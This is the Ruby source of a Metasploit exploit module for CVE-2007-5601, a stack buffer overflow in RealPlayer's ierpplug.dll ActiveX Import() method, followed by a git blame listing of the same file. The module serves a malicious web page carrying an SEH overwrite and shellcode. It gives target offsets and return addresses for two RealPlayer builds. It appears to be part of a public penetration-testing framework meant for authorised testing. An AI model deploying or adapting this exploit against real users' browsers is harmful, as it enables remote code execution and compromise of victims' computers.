modules/exploits/windows/browser/realplayer_import.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and
        RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
        method, an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5601' ],
          [ 'OSVDB', '41430' ],
          [ 'BID', '26130' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'IE / RealOne Player 2 (6.0.11.853)',     { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
          [ 'IE / RealPlayer 10.5 (6.0.12.1483)',     { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
        ],
      'DisclosureDate' => '2007-10-18',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    filler = rand_text_english(target['Offset'])
    seh    = generate_seh_payload(target.ret)
    sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)

    # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
    # long Import(
    #                 [in] BSTR file,
    #                 [in, optional, defaultvalue("")] BSTR playlist,
    #                 [in, optional, defaultvalue("")] BSTR clipInfo,
    #                 [in, optional, defaultvalue(0)] long bPlayFile,
    #                 [in, optional, defaultvalue(0)] long bCopyToMyMusic);

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Redo the boilerplate / splat 2013-10-15 13:50:46 -05:00			`# Current source: https://github.com/rapid7/metasploit-framework`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`##`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
add ranking to every exploit module, pfew! 2009-12-06 05:50:37 +00:00			`Rank = NormalRanking`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00
This massive commit changes the metasploit 3 module format. The new syntax allows for greater scalability and future improvements to the metasploit module loader. This change also makes it easier for users to add new modules, since the class name no longer needs to match the directory structure. 2008-10-02 05:23:59 +00:00			`include Msf::Exploit::Remote::HttpServer::HTML`
			`include Msf::Exploit::Remote::Seh`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00
			`def initialize(info = {})`
			`super(update_info(info,`
			`'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',`
			`'Description' => %q{`
stop perpetuating the ambiguity! 2010-05-09 17:45:00 +00:00			`This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"`
			`method, an attacker may be able to execute arbitrary code.`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`},`
			`'License' => MSF_LICENSE,`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`'Author' => [ 'MC' ],`
			`'References' =>`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`[`
			`[ 'CVE', '2007-5601' ],`
Revert "Land #6812 , remove broken OSVDB references" 2016-07-15 12:00:31 -05:00			`[ 'OSVDB', '41430' ],`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`[ 'BID', '26130' ],`
			`],`
			`'DefaultOptions' =>`
			`{`
			`'EXITFUNC' => 'process',`
			`},`
			`'Payload' =>`
			`{`
			`'Space' => 800,`
			`'BadChars' => "\x00\x09\x0a\x0d'\\",`
fix PrepenEncoder typo, replace it with 'StackAdjustment' => -3500 2008-08-01 20:04:42 +00:00			`'StackAdjustment' => -3500,`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`},`
			`'Platform' => 'win',`
			`'Targets' =>`
			`[`
			`[ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)`
			`[ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)`
			`],`
Convert disclosure dates to iso8601 2020-10-02 17:38:06 +01:00			`'DisclosureDate' => '2007-10-18',`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`'DefaultTarget' => 0))`
			`end`

			`def autofilter`
			`false`
			`end`

			`def check_dependencies`
			`use_zlib`
			`end`

			`def on_request_uri(cli, request)`
			`# Re-generate the payload`
			`return if ((p = regenerate_payload(cli)) == nil)`

			`# Randomize some things`
			`vname = rand_text_alpha(rand(100) + 1)`
			`strname = rand_text_alpha(rand(100) + 1)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`# Set the exploit buffer`
			`filler = rand_text_english(target['Offset'])`
			`seh = generate_seh_payload(target.ret)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)`

added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`# [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]`
			`# long Import(`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`# [in] BSTR file,`
			`# [in, optional, defaultvalue("")] BSTR playlist,`
			`# [in, optional, defaultvalue("")] BSTR clipInfo,`
			`# [in, optional, defaultvalue(0)] long bPlayFile,`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`# [in, optional, defaultvalue(0)] long bCopyToMyMusic);`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00
			`# Build out the message`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`content = %Q\|`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`<html>`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>`
			`<script language='javascript'>`
			`var #{vname} = document.getElementById('#{vname}');`
			`var #{strname} = new String('#{sploit}');`
			`#{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);`
			`</script>`
			`</html>`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`\|`

Remove spurious cli.peerhost in output 2012-04-20 13:31:42 -06:00			`print_status("Sending #{self.name}")`
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00
			`# Transmit the response to the client`
			`send_response_html(cli, content)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00
added exploit module realplayer_import.rb 2007-12-02 17:58:44 +00:00			`# Handle the payload`
			`handler(cli)`
			`end`
OSVDB references updates from Steve Tornio 2009-07-16 16:02:24 +00:00			`end`